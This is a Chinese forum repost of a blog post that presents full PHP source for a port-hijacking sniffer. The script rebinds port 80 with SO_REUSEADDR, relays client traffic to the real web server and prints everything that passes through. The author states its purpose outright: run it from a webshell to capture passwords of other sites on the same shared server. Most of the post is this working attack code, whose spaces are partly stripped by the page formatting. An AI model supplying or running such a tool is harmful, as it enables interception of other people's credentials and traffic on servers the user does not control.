如何利用php来嗅探劫持服务器数据

[复制链接]
查看288 | 回复0 | 2012-4-1 19:24:00 | 显示全部楼层 |阅读模式
来源:老邪的博客

前几天刺在我们的maillist发了一个老外写的文章,大意是可以用php来实现数据的劫持和转发。我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。老外的原文是一个PDF,有兴趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。
需要注意的是,这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的,那个文章可以在这里找到:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。至于为什么不一样,我就不说了。
代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有多线程也没有多进程,但是每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。还好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。
PHP代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码:




&nbsp;<?php&nbsp;&nbsp;&nbsp;

classselect&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

var$sockets;&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//构造函数&nbsp;&nbsp;&nbsp;

functionselect($sockets)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

$this->sockets=array();&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

foreach($socketsas$socket)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

$this->add($socket);&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

functionadd($add_socket)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

//array_push($this->sockets,$add_socket);&nbsp;&nbsp;&nbsp;

$this->sockets[]=$add_socket;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//利用临时数组来删除数组中的元素&nbsp;&nbsp;&nbsp;

functionremove($remove_socket)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

$tmp_sockets=array();&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

foreach($this->socketsas$socket)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

if($remove_socket!=$socket)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

$tmp_sockets[]=$socket;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

$this->sockets=$tmp_sockets;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//检查socket数组是否可读,传入超时时间,返回socket数组&nbsp;&nbsp;&nbsp;

functioncan_read($timeout)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

$read=$this->sockets;&nbsp;&nbsp;&nbsp;

socket_select($read,$write=NULL,$except=NULL,$timeout);&nbsp;&nbsp;&nbsp;

return$read;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//检查socket数组是否可写,传入超时时间,返回socket数组&nbsp;&nbsp;&nbsp;

functioncan_write($timeout)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

$write=$this->sockets;&nbsp;&nbsp;&nbsp;

socket_select($read=NULL,$write,$except=NULL,$timeout);&nbsp;&nbsp;&nbsp;

return$write;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//网页不超时&nbsp;&nbsp;&nbsp;

set_time_limit(0);&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//即时输出数据,不缓冲&nbsp;&nbsp;&nbsp;

ob_end_clean();&nbsp;&nbsp;&nbsp;

ob_implicit_flush(true);&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

if(!isset($_GET[&quot;listen_ip&quot;]))&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

exit;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

if($_GET[&quot;listen_ip&quot;]==&quot;&quot;)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

exit;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

$listen_ip=$_GET[&quot;listen_ip&quot;];&nbsp;&nbsp;&nbsp;

$listen_port=80;&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//建立socket&nbsp;&nbsp;&nbsp;

$listen_sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//设置重复绑定&nbsp;&nbsp;&nbsp;

socket_set_option($listen_sock,SOL_SOCKET,SO_REUSEADDR,1);&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//明确指定绑定IP地址,优先获取数据&nbsp;&nbsp;&nbsp;

socket_bind($listen_sock,$listen_ip,$listen_port);&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//开始监听&nbsp;&nbsp;&nbsp;

socket_listen($listen_sock);&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

echo&quot;listenon&quot;.htmlentities($listen_ip).&quot;:&quot;.$listen_port.&quot;<br/>&quot;;&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//创建socket数组,使用select来轮询&nbsp;&nbsp;&nbsp;

$check_socks=array($listen_sock);&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//映射客户端socket和服务端socket&nbsp;&nbsp;&nbsp;

//$socket_maps1将客户端socket作为key&nbsp;&nbsp;&nbsp;

//$socket_maps2将服务端socket作为key&nbsp;&nbsp;&nbsp;

//以内存换速度,并且方便下面的搜索&nbsp;&nbsp;&nbsp;

$socket_maps1=array();&nbsp;&nbsp;&nbsp;

$socket_maps2=array();&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//实例化select类&nbsp;&nbsp;&nbsp;

$select=newselect($check_socks);&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

while(true)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

/*&nbsp;&nbsp;

print_r($socket_maps);&nbsp;&nbsp;

print&quot;<br/>&quot;;&nbsp;&nbsp;

*/&nbsp;&nbsp;

//select轮询,超时2秒&nbsp;&nbsp;&nbsp;

foreach($select->can_read(1)as$socket)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

//listen_sock可读,说明有人连接上来了&nbsp;&nbsp;&nbsp;

if($socket==$listen_sock)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

//接受新连接,并加入到轮训数组&nbsp;&nbsp;&nbsp;

$new_client=socket_accept($listen_sock);&nbsp;&nbsp;&nbsp;

$select->add($new_client);&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

socket_getpeername($new_client,$ip,$port);&nbsp;&nbsp;&nbsp;

echo&quot;Newclientconnectedip,$port<br/>&quot;;&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//建立到真实服务器的socket&nbsp;&nbsp;&nbsp;

$server_sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);&nbsp;&nbsp;&nbsp;

socket_connect($server_sock,&quot;127.0.0.1&quot;,$listen_port);&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//建立真实服务器socket和真实客户端socket之间的映射关系&nbsp;&nbsp;&nbsp;

$socket_maps1[$new_client]=$server_sock;&nbsp;&nbsp;&nbsp;

$socket_maps2[$server_sock]=$new_client;&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//添加到select轮询中&nbsp;&nbsp;&nbsp;

$select->add($server_sock);&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//$listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发&nbsp;&nbsp;&nbsp;

//select->remove($listen_sock);&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//其他socket可读,表示有数据需要中转&nbsp;&nbsp;&nbsp;

else&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

//读取数据,失败则从轮询socket中删除,并关闭socket&nbsp;&nbsp;&nbsp;

$client_data=@socket_read($socket,1024,PHP_NORMAL_READ);&nbsp;&nbsp;&nbsp;

if($client_data===false)&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

socket_close($socket);&nbsp;&nbsp;&nbsp;

$select->remove($socket);&nbsp;&nbsp;&nbsp;

echo&quot;clientdisconnected.<br/>&quot;;&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

continue;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

//如果socket在$socket_maps1的key中,说明是从客户端读到了数据&nbsp;&nbsp;&nbsp;

if(in_array($socket,array_keys($socket_maps1)))&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

//echo&quot;readedfromclient.<br/>&quot;;&nbsp;&nbsp;&nbsp;

if(!socket_write($socket_maps1[$socket],$client_data))&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

socket_close($socket);&nbsp;&nbsp;&nbsp;

socket_close($socket_maps1[$socket]);&nbsp;&nbsp;&nbsp;

$select->remove($socket);&nbsp;&nbsp;&nbsp;

$select->remove($socket_maps1[$socket]);&nbsp;&nbsp;&nbsp;

print&quot;Writetoservererror.<br/>&quot;;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

printhtmlentities($client_data).&quot;</b><br/>&quot;;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

//否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据&nbsp;&nbsp;&nbsp;

elseif(in_array($socket,array_keys($socket_maps2)))&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

//echo&quot;readedfromserver.<br/>&quot;;&nbsp;&nbsp;&nbsp;

if(!socket_write($socket_maps2[$socket],$client_data))&nbsp;&nbsp;&nbsp;

{&nbsp;&nbsp;&nbsp;

socket_close($socket);&nbsp;&nbsp;&nbsp;

socket_close($socket_maps2[$socket]);&nbsp;&nbsp;&nbsp;

$select->remove($socket);&nbsp;&nbsp;&nbsp;

$select->remove($socket_maps2[$socket]);&nbsp;&nbsp;&nbsp;

print&quot;Writetoclienterror.<br/>&quot;;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

printhtmlentities($client_data).&quot;</b><br/>&quot;;&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

}&nbsp;&nbsp;&nbsp;

&nbsp;&nbsp;

?>&nbsp;&nbsp;&nbsp;



&nbsp;




这个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码&hellip;&hellip;我是在windowsxp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。

&nbsp;
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则